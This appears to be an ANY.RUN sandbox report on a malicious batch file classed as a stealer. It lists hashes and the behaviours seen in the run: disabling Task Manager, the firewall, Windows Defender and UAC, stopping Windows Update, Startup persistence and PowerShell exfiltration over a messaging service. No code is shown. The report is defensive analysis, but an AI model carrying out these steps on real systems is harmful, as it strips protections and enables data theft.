| File name: | SAB4.0.bat |
| Full analysis: | https://app.any.run/tasks/7e9170ec-2002-42d5-a923-aca407113cba |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | June 21, 2025, 09:02:59 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/x-msdos-batch |
| File info: | DOS batch file, ASCII text, with CRLF line terminators |
| MD5: | 5016EF10075AED0BBE861604C2308CCC |
| SHA1: | C22BE14E64D0A964C68E00BD03017B027AD9D7CE |
| SHA256: | 58BE6FBC08DDBC32F21E03FE2665A78BA9EC5418273E96D963254E9210C93286 |
| SSDEEP: | 96:nQI8Tb8wDIH5E8+aWkBxtvxaNWHvEqJ0IEXvEgR:nQIWIHvnWkBvYNWHvxuDXcgR |
MALICIOUS
Disables task manager
- reg.exe (PID: 1096)
- reg.exe (PID: 2528)
- reg.exe (PID: 9336)
- reg.exe (PID: 12480)
- reg.exe (PID: 13252)
- reg.exe (PID: 13688)
- reg.exe (PID: 12800)
- reg.exe (PID: 13968)
- reg.exe (PID: 14348)
- reg.exe (PID: 13256)
- reg.exe (PID: 14356)
- reg.exe (PID: 15308)
- reg.exe (PID: 14608)
- reg.exe (PID: 14960)
- reg.exe (PID: 15660)
- reg.exe (PID: 15312)
- reg.exe (PID: 10040)
- reg.exe (PID: 16024)
- reg.exe (PID: 15684)
- reg.exe (PID: 7300)
- reg.exe (PID: 17280)
- reg.exe (PID: 15196)
- reg.exe (PID: 14516)
- reg.exe (PID: 17468)
- reg.exe (PID: 16660)
- reg.exe (PID: 15248)
- reg.exe (PID: 17024)
- reg.exe (PID: 5532)
- reg.exe (PID: 7868)
- reg.exe (PID: 12708)
- reg.exe (PID: 9908)
- reg.exe (PID: 16336)
- reg.exe (PID: 16660)
- reg.exe (PID: 9084)
- reg.exe (PID: 14644)
- reg.exe (PID: 16116)
- reg.exe (PID: 14356)
- reg.exe (PID: 4544)
- reg.exe (PID: 19172)
- reg.exe (PID: 19396)
- reg.exe (PID: 9180)
- reg.exe (PID: 18320)
- reg.exe (PID: 21204)
- reg.exe (PID: 20828)
- reg.exe (PID: 8292)
- reg.exe (PID: 11984)
- reg.exe (PID: 22284)
- reg.exe (PID: 22292)
- reg.exe (PID: 7464)
- reg.exe (PID: 13584)
- reg.exe (PID: 17984)
- reg.exe (PID: 14068)
- reg.exe (PID: 12656)
- reg.exe (PID: 10184)
- reg.exe (PID: 13584)
- reg.exe (PID: 11304)
- reg.exe (PID: 14096)
- reg.exe (PID: 7248)
- reg.exe (PID: 21164)
- reg.exe (PID: 7004)
- reg.exe (PID: 9604)
- reg.exe (PID: 1508)
- reg.exe (PID: 11828)
- reg.exe (PID: 13012)
- reg.exe (PID: 12372)
- reg.exe (PID: 20916)
- reg.exe (PID: 17476)
- reg.exe (PID: 2076)
- reg.exe (PID: 18876)
Disables Windows firewall
- reg.exe (PID: 7020)
- reg.exe (PID: 3740)
- reg.exe (PID: 3756)
- reg.exe (PID: 17876)
- reg.exe (PID: 13768)
- reg.exe (PID: 17808)
- reg.exe (PID: 2312)
- reg.exe (PID: 16912)
- reg.exe (PID: 18264)
- reg.exe (PID: 8576)
- reg.exe (PID: 13560)
- reg.exe (PID: 17396)
- reg.exe (PID: 16480)
- reg.exe (PID: 14960)
- reg.exe (PID: 8696)
- reg.exe (PID: 13024)
- reg.exe (PID: 15656)
- reg.exe (PID: 18060)
- reg.exe (PID: 6652)
- reg.exe (PID: 8420)
- reg.exe (PID: 13716)
- reg.exe (PID: 15324)
- reg.exe (PID: 14984)
- reg.exe (PID: 16128)
- reg.exe (PID: 16852)
- reg.exe (PID: 15320)
- reg.exe (PID: 9568)
- reg.exe (PID: 10180)
- reg.exe (PID: 15860)
- reg.exe (PID: 16928)
- reg.exe (PID: 10764)
- reg.exe (PID: 10680)
- reg.exe (PID: 11760)
- reg.exe (PID: 15996)
- reg.exe (PID: 10856)
- reg.exe (PID: 2312)
- reg.exe (PID: 3748)
- reg.exe (PID: 10256)
- reg.exe (PID: 15120)
- reg.exe (PID: 11304)
- reg.exe (PID: 15416)
- reg.exe (PID: 9196)
- reg.exe (PID: 2512)
- reg.exe (PID: 9388)
- reg.exe (PID: 10644)
- reg.exe (PID: 15996)
- reg.exe (PID: 16484)
- reg.exe (PID: 16464)
- reg.exe (PID: 13872)
- reg.exe (PID: 8920)
- reg.exe (PID: 4560)
- reg.exe (PID: 17816)
- reg.exe (PID: 16940)
- reg.exe (PID: 8856)
- reg.exe (PID: 17008)
- reg.exe (PID: 16800)
- reg.exe (PID: 10364)
- reg.exe (PID: 4816)
- reg.exe (PID: 10680)
- reg.exe (PID: 18320)
- reg.exe (PID: 8472)
- reg.exe (PID: 8152)
- reg.exe (PID: 19052)
- reg.exe (PID: 19064)
- reg.exe (PID: 19412)
- reg.exe (PID: 11508)
- reg.exe (PID: 11964)
- reg.exe (PID: 4192)
- reg.exe (PID: 11840)
- reg.exe (PID: 19308)
- reg.exe (PID: 19108)
- reg.exe (PID: 12316)
- reg.exe (PID: 18688)
- reg.exe (PID: 10112)
- reg.exe (PID: 16772)
- reg.exe (PID: 12172)
- reg.exe (PID: 14480)
- reg.exe (PID: 19152)
- reg.exe (PID: 21024)
- reg.exe (PID: 21384)
- reg.exe (PID: 11208)
- reg.exe (PID: 21496)
- reg.exe (PID: 19308)
- reg.exe (PID: 19644)
- reg.exe (PID: 8708)
- reg.exe (PID: 2464)
- reg.exe (PID: 20912)
- reg.exe (PID: 13012)
- reg.exe (PID: 13100)
- reg.exe (PID: 22424)
- reg.exe (PID: 22440)
- reg.exe (PID: 21864)
- reg.exe (PID: 21912)
- reg.exe (PID: 21836)
- reg.exe (PID: 22416)
- reg.exe (PID: 19304)
- reg.exe (PID: 3520)
- reg.exe (PID: 9084)
- reg.exe (PID: 16632)
- reg.exe (PID: 14304)
- reg.exe (PID: 15296)
- reg.exe (PID: 14444)
- reg.exe (PID: 15032)
- reg.exe (PID: 4916)
- reg.exe (PID: 21444)
- reg.exe (PID: 20464)
Changes firewall settings
- reg.exe (PID: 7020)
- reg.exe (PID: 3740)
- reg.exe (PID: 3756)
- reg.exe (PID: 17876)
- reg.exe (PID: 13768)
- reg.exe (PID: 17808)
- reg.exe (PID: 2312)
- reg.exe (PID: 16912)
- reg.exe (PID: 18264)
- reg.exe (PID: 8576)
- reg.exe (PID: 13560)
- reg.exe (PID: 14960)
- reg.exe (PID: 17396)
- reg.exe (PID: 16480)
- reg.exe (PID: 13024)
- reg.exe (PID: 15656)
- reg.exe (PID: 8696)
- reg.exe (PID: 18060)
- reg.exe (PID: 6652)
- reg.exe (PID: 8420)
- reg.exe (PID: 13716)
- reg.exe (PID: 14984)
- reg.exe (PID: 15324)
- reg.exe (PID: 16128)
- reg.exe (PID: 16852)
- reg.exe (PID: 15320)
- reg.exe (PID: 9568)
- reg.exe (PID: 10180)
- reg.exe (PID: 15860)
- reg.exe (PID: 16928)
- reg.exe (PID: 11760)
- reg.exe (PID: 15996)
- reg.exe (PID: 10764)
- reg.exe (PID: 10680)
- reg.exe (PID: 10856)
- reg.exe (PID: 2312)
- reg.exe (PID: 3748)
- reg.exe (PID: 10256)
- reg.exe (PID: 15120)
- reg.exe (PID: 11304)
- reg.exe (PID: 15416)
- reg.exe (PID: 9196)
- reg.exe (PID: 2512)
- reg.exe (PID: 9388)
- reg.exe (PID: 10644)
- reg.exe (PID: 15996)
- reg.exe (PID: 16484)
- reg.exe (PID: 13872)
- reg.exe (PID: 16464)
- reg.exe (PID: 8920)
- reg.exe (PID: 4560)
- reg.exe (PID: 16940)
- reg.exe (PID: 8856)
- reg.exe (PID: 17816)
- reg.exe (PID: 16800)
- reg.exe (PID: 17008)
- reg.exe (PID: 4816)
- reg.exe (PID: 10364)
- reg.exe (PID: 10680)
- reg.exe (PID: 18320)
- reg.exe (PID: 8472)
- reg.exe (PID: 8152)
- reg.exe (PID: 19052)
- reg.exe (PID: 19064)
- reg.exe (PID: 19412)
- reg.exe (PID: 11508)
- reg.exe (PID: 11964)
- reg.exe (PID: 4192)
- reg.exe (PID: 11840)
- reg.exe (PID: 19108)
- reg.exe (PID: 19308)
- reg.exe (PID: 12316)
- reg.exe (PID: 18688)
- reg.exe (PID: 10112)
- reg.exe (PID: 16772)
- reg.exe (PID: 14480)
- reg.exe (PID: 19152)
- reg.exe (PID: 12172)
- reg.exe (PID: 21024)
- reg.exe (PID: 21384)
- reg.exe (PID: 21496)
- reg.exe (PID: 11208)
- reg.exe (PID: 19308)
- reg.exe (PID: 19644)
- reg.exe (PID: 8708)
- reg.exe (PID: 2464)
- reg.exe (PID: 20912)
- reg.exe (PID: 13012)
- reg.exe (PID: 13100)
- reg.exe (PID: 22440)
- reg.exe (PID: 22424)
- reg.exe (PID: 21912)
- reg.exe (PID: 21864)
- reg.exe (PID: 21836)
- reg.exe (PID: 22416)
- reg.exe (PID: 3520)
- reg.exe (PID: 19304)
- reg.exe (PID: 9084)
- reg.exe (PID: 16632)
- reg.exe (PID: 14304)
- reg.exe (PID: 15296)
- reg.exe (PID: 4916)
- reg.exe (PID: 14444)
- reg.exe (PID: 15032)
- reg.exe (PID: 21444)
- reg.exe (PID: 20464)
Disables Windows Defender
- reg.exe (PID: 1984)
- reg.exe (PID: 10376)
- reg.exe (PID: 15836)
- reg.exe (PID: 8460)
- reg.exe (PID: 18104)
- reg.exe (PID: 9012)
- reg.exe (PID: 3956)
- reg.exe (PID: 16940)
- reg.exe (PID: 17684)
- reg.exe (PID: 18936)
- reg.exe (PID: 17948)
- reg.exe (PID: 18920)
- reg.exe (PID: 16296)
- reg.exe (PID: 20024)
- reg.exe (PID: 20944)
- reg.exe (PID: 20512)
- reg.exe (PID: 21356)
- reg.exe (PID: 20700)
- reg.exe (PID: 7120)
- reg.exe (PID: 11220)
- reg.exe (PID: 16676)
- reg.exe (PID: 17532)
- reg.exe (PID: 21800)
- reg.exe (PID: 21608)
- reg.exe (PID: 21724)
- reg.exe (PID: 11008)
- reg.exe (PID: 11180)
- reg.exe (PID: 13124)
- reg.exe (PID: 11556)
- reg.exe (PID: 20512)
- reg.exe (PID: 4476)
Uses NET.EXE to stop Windows Update service
- net.exe (PID: 4844)
- cmd.exe (PID: 5708)
Starts NET.EXE for service management
- cmd.exe (PID: 5708)
- net.exe (PID: 4844)
Create files in the Startup directory
- cmd.exe (PID: 5708)
UAC/LUA settings modification
- reg.exe (PID: 1044)
- reg.exe (PID: 15416)
- reg.exe (PID: 9480)
- reg.exe (PID: 13576)
- reg.exe (PID: 20048)
- reg.exe (PID: 20124)
- reg.exe (PID: 20428)
- reg.exe (PID: 10944)
- reg.exe (PID: 8152)
- reg.exe (PID: 19648)
- reg.exe (PID: 21340)
- reg.exe (PID: 5988)
- reg.exe (PID: 7728)
- reg.exe (PID: 21452)
- reg.exe (PID: 21928)
- reg.exe (PID: 21756)
- reg.exe (PID: 10836)
- reg.exe (PID: 22400)
- reg.exe (PID: 21880)
- reg.exe (PID: 14588)
- reg.exe (PID: 14004)
- reg.exe (PID: 9184)
- reg.exe (PID: 11608)
- reg.exe (PID: 15000)
- reg.exe (PID: 13616)
- reg.exe (PID: 19480)
- reg.exe (PID: 18612)
Stealers network behavior
- powershell.exe (PID: 8172)
- powershell.exe (PID: 7288)
- powershell.exe (PID: 8064)
- powershell.exe (PID: 8140)
- powershell.exe (PID: 8720)
- powershell.exe (PID: 10388)
- powershell.exe (PID: 11424)
- powershell.exe (PID: 11756)
- powershell.exe (PID: 7600)
- powershell.exe (PID: 4828)
- powershell.exe (PID: 13660)
- powershell.exe (PID: 16048)
- powershell.exe (PID: 17780)
- powershell.exe (PID: 4012)
- powershell.exe (PID: 14880)
- powershell.exe (PID: 15936)
- powershell.exe (PID: 8904)
- powershell.exe (PID: 15816)
- powershell.exe (PID: 9800)
- powershell.exe (PID: 11000)
- powershell.exe (PID: 7404)
- powershell.exe (PID: 8520)
- powershell.exe (PID: 18928)
- powershell.exe (PID: 12744)
- powershell.exe (PID: 4072)
Attempting to use instant messaging service
- powershell.exe (PID: 8172)
- powershell.exe (PID: 7288)
- powershell.exe (PID: 8064)
- powershell.exe (PID: 8140)
- powershell.exe (PID: 8720)
- powershell.exe (PID: 10388)
- powershell.exe (PID: 11756)
- powershell.exe (PID: 11424)
- powershell.exe (PID: 7600)
- powershell.exe (PID: 4828)
- powershell.exe (PID: 13660)
- powershell.exe (PID: 16048)
- powershell.exe (PID: 17780)
- powershell.exe (PID: 4012)
- powershell.exe (PID: 14880)
- powershell.exe (PID: 15936)
- powershell.exe (PID: 8904)
- powershell.exe (PID: 15816)
- powershell.exe (PID: 9800)
- powershell.exe (PID: 11000)
- powershell.exe (PID: 7404)
- powershell.exe (PID: 8520)
- powershell.exe (PID: 18928)
- powershell.exe (PID: 12744)
- powershell.exe (PID: 4072)
Task Manager has been disabled (taskmgr)
- reg.exe (PID: 2528)
- reg.exe (PID: 9336)
- reg.exe (PID: 12480)
- reg.exe (PID: 13252)
- reg.exe (PID: 13688)
- reg.exe (PID: 12800)
- reg.exe (PID: 13968)
- reg.exe (PID: 14348)
- reg.exe (PID: 13256)
- reg.exe (PID: 14356)
- reg.exe (PID: 15308)
- reg.exe (PID: 14608)
- reg.exe (PID: 14960)
- reg.exe (PID: 15660)
- reg.exe (PID: 15312)
- reg.exe (PID: 10040)
- reg.exe (PID: 16024)
- reg.exe (PID: 15684)
- reg.exe (PID: 7300)
- reg.exe (PID: 17280)
- reg.exe (PID: 15196)
- reg.exe (PID: 14516)
- reg.exe (PID: 17468)
- reg.exe (PID: 16660)
- reg.exe (PID: 15248)
- reg.exe (PID: 17024)
- reg.exe (PID: 5532)
- reg.exe (PID: 12708)
- reg.exe (PID: 7868)
- reg.exe (PID: 9908)
- reg.exe (PID: 16336)
- reg.exe (PID: 9084)
- reg.exe (PID: 16660)
- reg.exe (PID: 14644)
- reg.exe (PID: 16116)
- reg.exe (PID: 14356)
- reg.exe (PID: 4544)
- reg.exe (PID: 19172)
- reg.exe (PID: 9180)
- reg.exe (PID: 19396)
- reg.exe (PID: 18320)
- reg.exe (PID: 21204)
- reg.exe (PID: 20828)
- reg.exe (PID: 8292)
- reg.exe (PID: 11984)
- reg.exe (PID: 22284)
- reg.exe (PID: 22292)
- reg.exe (PID: 7464)
- reg.exe (PID: 13584)
- reg.exe (PID: 17984)
- reg.exe (PID: 12656)
- reg.exe (PID: 14068)
- reg.exe (PID: 10184)
- reg.exe (PID: 13584)
- reg.exe (PID: 11304)
- reg.exe (PID: 14096)
- reg.exe (PID: 21164)
- reg.exe (PID: 7248)
- reg.exe (PID: 7004)
- reg.exe (PID: 9604)
- reg.exe (PID: 1508)
- reg.exe (PID: 11828)
- reg.exe (PID: 13012)
- reg.exe (PID: 12372)
- reg.exe (PID: 20916)
- reg.exe (PID: 2076)
- reg.exe (PID: 18876)
- reg.exe (PID: 17476)
SUSPICIOUS
Starts process via Powershell
- powershell.exe (PID: 3652)
- powershell.exe (PID: 12136)
- powershell.exe (PID: 12424)
- powershell.exe (PID: 12784)
- powershell.exe (PID: 12808)
- powershell.exe (PID: 12836)
- powershell.exe (PID: 12928)
- powershell.exe (PID: 13020)
- powershell.exe (PID: 13064)
- powershell.exe (PID: 12904)
- powershell.exe (PID: 13164)
- powershell.exe (PID: 10476)
- powershell.exe (PID: 11708)
- powershell.exe (PID: 13268)
- powershell.exe (PID: 13096)
- powershell.exe (PID: 7052)
- powershell.exe (PID: 8412)
- powershell.exe (PID: 9336)
- powershell.exe (PID: 13172)
- powershell.exe (PID: 9164)
- powershell.exe (PID: 12984)
- powershell.exe (PID: 10672)
- powershell.exe (PID: 12324)
- powershell.exe (PID: 10960)
- powershell.exe (PID: 8960)
- powershell.exe (PID: 13416)
- powershell.exe (PID: 7980)
- powershell.exe (PID: 13956)
- powershell.exe (PID: 14044)
- powershell.exe (PID: 13512)
- powershell.exe (PID: 14284)
- powershell.exe (PID: 14120)
- powershell.exe (PID: 14300)
- powershell.exe (PID: 14328)
- powershell.exe (PID: 14084)
- powershell.exe (PID: 8328)
- powershell.exe (PID: 14680)
- powershell.exe (PID: 17260)
- powershell.exe (PID: 17272)
- powershell.exe (PID: 16872)
- powershell.exe (PID: 8104)
- powershell.exe (PID: 11592)
- powershell.exe (PID: 18140)
- powershell.exe (PID: 16392)
- powershell.exe (PID: 8156)
- powershell.exe (PID: 18160)
- powershell.exe (PID: 8176)
- powershell.exe (PID: 11808)
- powershell.exe (PID: 13788)
- powershell.exe (PID: 9236)
- powershell.exe (PID: 15156)
- powershell.exe (PID: 8396)
- powershell.exe (PID: 14048)
- powershell.exe (PID: 8200)
- powershell.exe (PID: 18172)
- powershell.exe (PID: 11400)
- powershell.exe (PID: 11936)
- powershell.exe (PID: 15120)
- powershell.exe (PID: 18492)
- powershell.exe (PID: 18912)
- powershell.exe (PID: 20444)
- powershell.exe (PID: 20328)
- powershell.exe (PID: 21412)
- powershell.exe (PID: 10228)
- powershell.exe (PID: 21324)
- powershell.exe (PID: 7120)
- powershell.exe (PID: 20932)
- powershell.exe (PID: 20012)
- powershell.exe (PID: 9556)
- powershell.exe (PID: 20596)
- powershell.exe (PID: 5848)
- powershell.exe (PID: 18128)
- powershell.exe (PID: 6128)
- powershell.exe (PID: 13864)
- powershell.exe (PID: 12192)
- powershell.exe (PID: 3672)
- powershell.exe (PID: 10428)
Uses ICACLS.EXE to modify access control lists
- cmd.exe (PID: 5020)
- cmd.exe (PID: 5708)
- cmd.exe (PID: 3948)
- cmd.exe (PID: 6948)
- cmd.exe (PID: 4312)
- cmd.exe (PID: 2188)
- cmd.exe (PID: 4836)
- cmd.exe (PID: 2216)
- cmd.exe (PID: 5348)
- cmd.exe (PID: 3148)
- cmd.exe (PID: 4644)
- cmd.exe (PID: 6232)
- cmd.exe (PID: 2864)
- cmd.exe (PID: 7092)
- cmd.exe (PID: 5456)
- cmd.exe (PID: 2140)
- cmd.exe (PID: 4892)
- cmd.exe (PID: 7268)
- cmd.exe (PID: 7408)
- cmd.exe (PID: 7336)
- cmd.exe (PID: 1896)
- cmd.exe (PID: 7452)
- cmd.exe (PID: 7616)
- cmd.exe (PID: 7852)
- cmd.exe (PID: 7756)
- cmd.exe (PID: 8080)
- cmd.exe (PID: 7368)
- cmd.exe (PID: 8336)
- cmd.exe (PID: 8400)
- cmd.exe (PID: 8644)
- cmd.exe (PID: 7436)
- cmd.exe (PID: 8860)
- cmd.exe (PID: 8792)
- cmd.exe (PID: 9068)
- cmd.exe (PID: 8996)
- cmd.exe (PID: 8868)
- cmd.exe (PID: 9152)
- cmd.exe (PID: 8468)
- cmd.exe (PID: 8564)
- cmd.exe (PID: 9404)
- cmd.exe (PID: 8500)
- cmd.exe (PID: 9220)
- cmd.exe (PID: 8820)
- cmd.exe (PID: 9304)
- cmd.exe (PID: 9488)
- cmd.exe (PID: 8900)
- cmd.exe (PID: 10032)
- cmd.exe (PID: 12168)
- cmd.exe (PID: 9448)
- cmd.exe (PID: 9716)
- cmd.exe (PID: 9652)
- cmd.exe (PID: 9808)
- cmd.exe (PID: 9924)
- cmd.exe (PID: 9624)
- cmd.exe (PID: 9744)
- cmd.exe (PID: 9936)
- cmd.exe (PID: 8352)
- cmd.exe (PID: 10360)
- cmd.exe (PID: 9824)
- cmd.exe (PID: 9740)
- cmd.exe (PID: 12052)
- cmd.exe (PID: 9788)
- cmd.exe (PID: 10628)
- cmd.exe (PID: 10072)
- cmd.exe (PID: 9680)
- cmd.exe (PID: 10968)
- cmd.exe (PID: 10860)
- cmd.exe (PID: 10808)
- cmd.exe (PID: 11232)
- cmd.exe (PID: 11084)
- cmd.exe (PID: 10268)
- cmd.exe (PID: 12160)
- cmd.exe (PID: 11928)
- cmd.exe (PID: 11888)
- cmd.exe (PID: 11600)
- cmd.exe (PID: 7732)
- cmd.exe (PID: 12260)
- cmd.exe (PID: 13196)
- cmd.exe (PID: 12300)
- cmd.exe (PID: 13292)
- cmd.exe (PID: 12152)
- cmd.exe (PID: 7160)
- cmd.exe (PID: 8508)
- cmd.exe (PID: 15716)
- cmd.exe (PID: 10868)
- cmd.exe (PID: 12828)
- cmd.exe (PID: 15312)
- cmd.exe (PID: 7184)
- cmd.exe (PID: 12236)
- cmd.exe (PID: 15220)
- cmd.exe (PID: 8940)
- cmd.exe (PID: 12572)
- cmd.exe (PID: 13748)
- cmd.exe (PID: 16832)
- cmd.exe (PID: 3564)
- cmd.exe (PID: 14704)
- cmd.exe (PID: 15480)
- cmd.exe (PID: 15708)
- cmd.exe (PID: 16276)
- cmd.exe (PID: 16704)
- cmd.exe (PID: 16664)
- cmd.exe (PID: 17588)
- cmd.exe (PID: 7556)
- cmd.exe (PID: 12248)
- cmd.exe (PID: 17216)
- cmd.exe (PID: 13744)
- cmd.exe (PID: 15740)
- cmd.exe (PID: 16580)
- cmd.exe (PID: 3740)
- cmd.exe (PID: 18276)
- cmd.exe (PID: 18252)
- cmd.exe (PID: 17232)
- cmd.exe (PID: 18240)
- cmd.exe (PID: 14060)
- cmd.exe (PID: 18428)
- cmd.exe (PID: 9160)
- cmd.exe (PID: 18212)
- cmd.exe (PID: 15332)
- cmd.exe (PID: 16756)
- cmd.exe (PID: 8496)
- cmd.exe (PID: 3752)
- cmd.exe (PID: 17872)
- cmd.exe (PID: 16332)
- cmd.exe (PID: 17580)
- cmd.exe (PID: 13300)
- cmd.exe (PID: 13440)
- cmd.exe (PID: 10640)
- cmd.exe (PID: 11504)
- cmd.exe (PID: 17960)
- cmd.exe (PID: 17556)
- cmd.exe (PID: 7612)
- cmd.exe (PID: 16344)
- cmd.exe (PID: 17472)
- cmd.exe (PID: 12532)
- cmd.exe (PID: 13040)
- cmd.exe (PID: 8268)
- cmd.exe (PID: 3780)
- cmd.exe (PID: 7056)
- cmd.exe (PID: 17596)
- cmd.exe (PID: 9116)
- cmd.exe (PID: 8072)
- cmd.exe (PID: 13436)
- cmd.exe (PID: 17564)
- cmd.exe (PID: 14052)
- cmd.exe (PID: 7448)
- cmd.exe (PID: 7708)
- cmd.exe (PID: 7988)
- cmd.exe (PID: 8936)
- cmd.exe (PID: 13192)
- cmd.exe (PID: 13548)
- cmd.exe (PID: 14104)
- cmd.exe (PID: 17852)
- cmd.exe (PID: 14484)
- cmd.exe (PID: 9096)
- cmd.exe (PID: 17452)
- cmd.exe (PID: 8832)
- cmd.exe (PID: 9296)
- cmd.exe (PID: 8704)
- cmd.exe (PID: 14340)
- cmd.exe (PID: 14248)
- cmd.exe (PID: 13228)
- cmd.exe (PID: 13036)
- cmd.exe (PID: 13560)
- cmd.exe (PID: 8000)
- cmd.exe (PID: 10724)
- cmd.exe (PID: 11352)
- cmd.exe (PID: 9228)
- cmd.exe (PID: 18300)
- cmd.exe (PID: 15212)
- cmd.exe (PID: 10408)
- cmd.exe (PID: 14544)
- cmd.exe (PID: 13108)
- cmd.exe (PID: 15388)
- cmd.exe (PID: 12588)
- cmd.exe (PID: 9316)
- cmd.exe (PID: 14020)
- cmd.exe (PID: 16972)
- cmd.exe (PID: 13456)
- cmd.exe (PID: 17120)
- cmd.exe (PID: 13764)
- cmd.exe (PID: 18564)
- cmd.exe (PID: 12860)
- cmd.exe (PID: 9312)
- cmd.exe (PID: 7952)
- cmd.exe (PID: 16908)
- cmd.exe (PID: 12712)
- cmd.exe (PID: 14380)
- cmd.exe (PID: 20496)
- cmd.exe (PID: 19192)
- cmd.exe (PID: 6980)
- cmd.exe (PID: 19172)
- cmd.exe (PID: 8620)
- cmd.exe (PID: 15044)
- cmd.exe (PID: 18748)
- cmd.exe (PID: 18852)
- cmd.exe (PID: 17680)
- cmd.exe (PID: 20192)
- cmd.exe (PID: 19616)
- cmd.exe (PID: 18836)
- cmd.exe (PID: 2492)
- cmd.exe (PID: 21248)
- cmd.exe (PID: 21072)
- cmd.exe (PID: 19612)
- cmd.exe (PID: 21304)
- cmd.exe (PID: 20796)
- cmd.exe (PID: 18548)
- cmd.exe (PID: 6104)
- cmd.exe (PID: 20640)
- cmd.exe (PID: 18972)
- cmd.exe (PID: 20108)
- cmd.exe (PID: 22516)
- cmd.exe (PID: 17128)
- cmd.exe (PID: 14428)
- cmd.exe (PID: 21680)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 5020)
- cmd.exe (PID: 5708)
- cmd.exe (PID: 4644)
- cmd.exe (PID: 6232)
- cmd.exe (PID: 4312)
- cmd.exe (PID: 2216)
- cmd.exe (PID: 3948)
- cmd.exe (PID: 2864)
- cmd.exe (PID: 2188)
- cmd.exe (PID: 4836)
- cmd.exe (PID: 6948)
- cmd.exe (PID: 7092)
- cmd.exe (PID: 5348)
- cmd.exe (PID: 3148)
- cmd.exe (PID: 5456)
- cmd.exe (PID: 2140)
- cmd.exe (PID: 4892)
- cmd.exe (PID: 1896)
- cmd.exe (PID: 7452)
- cmd.exe (PID: 7268)
- cmd.exe (PID: 7336)
- cmd.exe (PID: 7408)
- cmd.exe (PID: 7616)
- cmd.exe (PID: 7852)
- cmd.exe (PID: 7756)
- cmd.exe (PID: 7368)
- cmd.exe (PID: 8080)
- cmd.exe (PID: 8336)
- cmd.exe (PID: 7436)
- cmd.exe (PID: 8400)
- cmd.exe (PID: 12168)
- cmd.exe (PID: 8644)
- cmd.exe (PID: 9152)
- cmd.exe (PID: 8468)
- cmd.exe (PID: 8860)
- cmd.exe (PID: 8564)
- cmd.exe (PID: 9220)
- cmd.exe (PID: 8500)
- cmd.exe (PID: 8820)
- cmd.exe (PID: 9068)
- cmd.exe (PID: 9404)
- cmd.exe (PID: 9304)
- cmd.exe (PID: 8996)
- cmd.exe (PID: 8868)
- cmd.exe (PID: 8792)
- cmd.exe (PID: 12052)
- cmd.exe (PID: 9624)
- cmd.exe (PID: 9448)
- cmd.exe (PID: 9924)
- cmd.exe (PID: 9652)
- cmd.exe (PID: 10032)
- cmd.exe (PID: 9716)
- cmd.exe (PID: 9488)
- cmd.exe (PID: 8352)
- cmd.exe (PID: 9936)
- cmd.exe (PID: 9740)
- cmd.exe (PID: 9680)
- cmd.exe (PID: 9808)
- cmd.exe (PID: 9744)
- cmd.exe (PID: 10360)
- cmd.exe (PID: 8900)
- cmd.exe (PID: 10968)
- cmd.exe (PID: 10860)
- cmd.exe (PID: 10072)
- cmd.exe (PID: 11232)
- cmd.exe (PID: 10808)
- cmd.exe (PID: 9824)
- cmd.exe (PID: 10628)
- cmd.exe (PID: 11084)
- cmd.exe (PID: 9788)
- cmd.exe (PID: 10268)
- cmd.exe (PID: 11928)
- cmd.exe (PID: 12160)
- cmd.exe (PID: 11888)
- cmd.exe (PID: 11600)
- cmd.exe (PID: 13196)
- cmd.exe (PID: 13292)
- cmd.exe (PID: 12260)
- cmd.exe (PID: 7732)
- cmd.exe (PID: 12152)
- cmd.exe (PID: 12300)
- cmd.exe (PID: 7160)
- cmd.exe (PID: 10868)
- cmd.exe (PID: 8508)
- cmd.exe (PID: 12572)
- cmd.exe (PID: 15716)
- cmd.exe (PID: 7184)
- cmd.exe (PID: 8940)
- cmd.exe (PID: 12828)
- cmd.exe (PID: 15312)
- cmd.exe (PID: 15220)
- cmd.exe (PID: 12236)
- cmd.exe (PID: 13748)
- cmd.exe (PID: 16832)
- cmd.exe (PID: 14704)
- cmd.exe (PID: 15708)
- cmd.exe (PID: 15480)
- cmd.exe (PID: 17216)
- cmd.exe (PID: 3564)
- cmd.exe (PID: 7556)
- cmd.exe (PID: 16664)
- cmd.exe (PID: 16276)
- cmd.exe (PID: 16704)
- cmd.exe (PID: 12248)
- cmd.exe (PID: 17588)
- cmd.exe (PID: 13744)
- cmd.exe (PID: 15740)
- cmd.exe (PID: 14060)
- cmd.exe (PID: 3740)
- cmd.exe (PID: 16580)
- cmd.exe (PID: 18252)
- cmd.exe (PID: 17232)
- cmd.exe (PID: 18240)
- cmd.exe (PID: 18276)
- cmd.exe (PID: 18428)
- cmd.exe (PID: 18212)
- cmd.exe (PID: 17580)
- cmd.exe (PID: 9160)
- cmd.exe (PID: 15332)
- cmd.exe (PID: 16756)
- cmd.exe (PID: 17872)
- cmd.exe (PID: 7612)
- cmd.exe (PID: 8496)
- cmd.exe (PID: 16332)
- cmd.exe (PID: 3752)
- cmd.exe (PID: 13300)
- cmd.exe (PID: 11504)
- cmd.exe (PID: 13440)
- cmd.exe (PID: 10640)
- cmd.exe (PID: 17960)
- cmd.exe (PID: 17472)
- cmd.exe (PID: 17556)
- cmd.exe (PID: 16344)
- cmd.exe (PID: 13040)
- cmd.exe (PID: 12532)
- cmd.exe (PID: 9116)
- cmd.exe (PID: 8268)
- cmd.exe (PID: 3780)
- cmd.exe (PID: 7056)
- cmd.exe (PID: 17596)
- cmd.exe (PID: 7708)
- cmd.exe (PID: 8936)
- cmd.exe (PID: 13560)
- cmd.exe (PID: 13436)
- cmd.exe (PID: 8072)
- cmd.exe (PID: 14052)
- cmd.exe (PID: 17852)
- cmd.exe (PID: 7988)
- cmd.exe (PID: 17564)
- cmd.exe (PID: 7448)
- cmd.exe (PID: 13192)
- cmd.exe (PID: 14104)
- cmd.exe (PID: 13548)
- cmd.exe (PID: 14248)
- cmd.exe (PID: 14484)
- cmd.exe (PID: 9096)
- cmd.exe (PID: 17452)
- cmd.exe (PID: 9296)
- cmd.exe (PID: 14340)
- cmd.exe (PID: 8832)
- cmd.exe (PID: 8704)
- cmd.exe (PID: 13036)
- cmd.exe (PID: 13228)
- cmd.exe (PID: 10724)
